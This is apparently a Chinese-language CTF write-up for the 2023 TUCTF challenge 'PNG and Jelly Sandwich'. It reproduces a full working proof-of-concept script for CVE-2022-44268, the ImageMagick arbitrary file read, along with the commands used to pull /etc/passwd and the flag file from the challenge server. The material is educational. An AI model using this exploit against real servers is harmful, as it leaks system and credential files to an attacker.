2023 TUCTF WriteUp
2023-12-04 Write Up

PNG and Jelly Sandwich

image-1.png

1. ImageMagick 识别

根据题目描述提示使用 Open Source Software
以及界面中提示的 Magic Image Resizer
联想到 开源图片处理软件 ImageMagick

2. CVE-2022-44268 任意文件读取

搜索相关CVE发现是
CVE-2022-44268 ImageMagick 任意文件读取漏洞

漏洞原理是利用图片中的 profile 部分进行任意文件读取

使用网站中现成的脚本测试漏洞

# generate.py

import png # pip install pypng
import argparse
import os
import time
from PIL import Image, PngImagePlugin

def main():
    print("\n   [\u001b[32;1m>\u001b[0m] ImageMagick LFI PoC - by Sybil Scan Research <research@sybilscan.com>")
    parser = argparse.ArgumentParser(description='imagemagick-LFI : PoC for CVE-2022-44268')
    parser.add_argument('-f','--lfile' , help = 'Local file to read' , required=True)
    parser.add_argument('-o', '--output', help = 'Output png file', required=True)
    args = parser.parse_args()
    time.sleep(0.2)
    print("   [\u001b[32;1m>\u001b[0m] Generating Blank PNG")
    width = 255
    height = 255
    img = []
    for y in range(height):
        row = ()
        for x in range(width):
            row = row + (x, max(0, 255 - x - y), y)
        img.append(row)
    with open('gradient.png', 'wb') as f:
        w = png.Writer(width, height, greyscale=False)
        w.write(f, img)
    time.sleep(0.2)
    print("   [\u001b[32;1m>\u001b[0m] Blank PNG generated")
    time.sleep(0.2)
    print(f"   [\u001b[32;1m>\u001b[0m] Placing Payload to read {args.lfile}")
    info = PngImagePlugin.PngInfo()
    info.add_text("profile", args.lfile)
    im = Image.open("gradient.png")
    im.save(args.output, "PNG", pnginfo=info)
    time.sleep(0.2)
    print(f"   [\u001b[32;1m>\u001b[0m] PoC PNG generated > {args.output}")
    
    gradient_file = "gradient.png"
    if os.path.isfile(gradient_file):
        os.remove(gradient_file)
    else:
        pass

if __name__ == '__main__':
    main()
python3 generate.py -f "/etc/passwd" -o exploit.png

将生成后的 exploit.png 上传至网站并下载回传图片
使用 cyberchef 对 exif 进行解密

我们得到了 /etc/passwd 的内容
并从中得知目录和文件相关信息:/challenge/flag.txt

对其进行读取

python3 generate.py -f "/challenge/flag.txt" -o exploit.png

读取回传照片时发现 exif 并没有显示数据
但在原始文件中我们发现其中包含一个 175 Bytes 的数据

使用 cyberchef 进行解密我们得到

Sorry, Grandma viewed this Sunday, November 12, 2023 at exactly 13:23:48 (GMT).

3. 时间戳命名

此时结合回传图片的图片名
我们发现回传图片的图片名是使用时间戳命名的
我们使用这个时间的时间戳读取照片 IM-1699795428.000000.png
获得如下图片:

image-2.png

得到 flag :

TUCTF{cL4ss1c_CVE_ch4LL_L0L}